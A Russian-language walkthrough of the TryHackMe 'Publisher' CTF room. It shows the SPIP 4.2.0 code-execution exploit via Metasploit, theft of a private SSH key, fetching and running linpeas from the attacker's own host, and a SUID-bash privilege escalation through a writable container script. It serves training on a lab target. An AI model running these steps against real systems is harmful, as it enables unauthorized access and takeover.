Разбор Publisher CTF TryHackMe
Описание: В этом посте мы рассмотрим уязвимость cms "SPIP", может позволить злоумышленникам выполнить произвольный код на сервере, что представляет серьезную угрозу для безопасности веб-сайтов, использующих эту платформу.
При запуске виртуальной машины или комнаты в CTF - задании часто предоставляется динамический IP-адрес, который может изменяться при каждом новом подключении. Первым шагом, который я рекомендую выполнить, является сканирование этого адреса с помощью Nmap в Kali Linux. Это позволит определить открытые порты и службы, работающие на целевом устройстве.
nmap -sC -sV <ip addr> (глубокое сканирование и версии службы)
22 порт подключения - ssh к серверу
Apache 2.4.41 - популярный веб-сервер
SPIP - это система управления контентом (CMS). Написан на PHP.
При анализе главной страницы сайта становится очевидно, что она не содержит функциональных элементов, таких как ссылки на авторизацию или регистрацию. В таких случаях для дальнейшего исследования можно использовать инструмент "ffuf", доступный в Kali Linux.
Использую распространенный словарь "directory-list-2.3-medium.txt"
ffuf -w ~/Desktop/1/3.directory-list-2.3-medium.txt -u http://<Ip addr>/FUZZ -fc 403
spip [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 66ms] - ранее его замечали на nmap.
Как мы видим произошло перенаправление страницы. Тут нас встречает строка поиска "Rechercher".
Предлагаю повнимательнее рассмотреть страницу и посмотрим код. Обнаружим версию "SPIP 4.2.0".
Использовать команду searchsploit SPIP 4.2.0 доступный в Kali Linux. Мы понимаем, что cms SPIP уязвима.
Я вам рекомендую эксплуатировать данную уязвимость через msfconsole встроенный в Kali Linux.
Уязвимость msf6 exploit(multi/http/spip_rce_form) - таким образом мы можем подключиться к web и читать все файлы, скачивать и редактировать.
Настройки:
set RHOSTS <ip addr web>
options - перепроверить настройки
Таким образом, после подключения к машине и перехода в указанную директорию"cd /home/think", чтение файла "cat user.txt" становится завершающим шагом для захвата первого флага.
User - это хорошо, а можно ещё лучше. Исследую долго все директории. Думаю ведь что-то должно меня привести к серверу и нахожу id_rsa.
id_rsa - это приватный ключ для SSH (Secure Shell), который используется для аутентификации на удалённых серверах. Удача на моей стороне :). Скачиваем ключ себе на Kali linux "cd /home/think/.ssh", "download id_rsa"
ls -l id_rsa - "права доступа к файлу"
chmod 600 id_rsa - "будет доступен только для чтения и записи владельцем"
ls -l id_rsa - "повторный вызов команды для проверки изменений прав доступа"
ssh think@10.10.120.111 -i id_rsa - "команда используется для подключения к удаленному серверу по протоколу SSH"
yes - после этого попадаем на server
Как зашли на сервер проверяем права доступа:
Права обычного пользователя :(
find / -type d -user think -writable 2>/dev/null - доступна ли запись в директорию, доступно ли чтение из директории, можно ли войти в директорию.
Воспользуемся директорией "cd /run/user/1000"
Теперь нам нужно скачать сканер с Kali Linux "linpeas.sh", прописываем wget http://<ip addr vpn>/linpeas.sh, но сначала нужно вкл. python сервер на 80 порту.
Переходим в kali linux cd ~/Desktop - где находиться "linpeas.sh", если у вас нету скачайте с github.
python -m http.server 80 - поднимаем локально сервер
chmod 700 linpeas.sh - "чтение, запись, выполнение программы"
ls -la linpeas.sh - "повторный вызов команды для проверки изменений прав доступа"
запуск программы /.linpeas.sh - "запуск сканера"
Вы заметите, что в директории /opt
присутствуют скрытые контейнеры. Обратите внимание, что даже при использовании команды ls -la
они не будут отображаться, так как могут быть скрыты или защищены на уровне файловой системы. Вот для этого и использовался данный сканер.
cd /opt - "перейти в директорию"
ls -la - "посмотреть все файлы"
cat run_container.sh - "посмотрели контейнер, появилась идея исполнить "/bash" суперпользователя".
find / -perm /4000 2>/dev/null - "позволяет пользователю выполнять файл с правами владельца файла, а не с правами текущего пользователя"
strings /usr/sbin/run_container - "используется для извлечения и отображения текстовых строк из бинарного файла"
/bin/bash - "поддерживает выполнение команд"
cp /bin/bash /run/user/1000 - "перекидываем в директорию в которой всё можно исполнять"
cd /opt - "переходим обратно в программное обеспечение"
nano run_container.sh - "изменить контейнер"
cp /bin/bash /tmp/bash - "копировать файл, перенаправит в директорию"
cmod +s /tmp/bash - "устанавливает с правами владельца файла, а не пользователя"
ls /tmp - "просмотреть директорию"
run_container.sh - "потом прерываем команду ctrl+c"
ls /tmp - "просмотреть директорию и увидеть bash"
ls -l /tmp/bash - "права доступа"
/tmp/bash -p - "-p заставляет bash не сбрасывать привилегии"
cd root - "перейти в учетку админа"
cat root.txt - "вытащить флаг"
Автор: https://t.me/cybersecuritybureau | Здесь еще больше разборов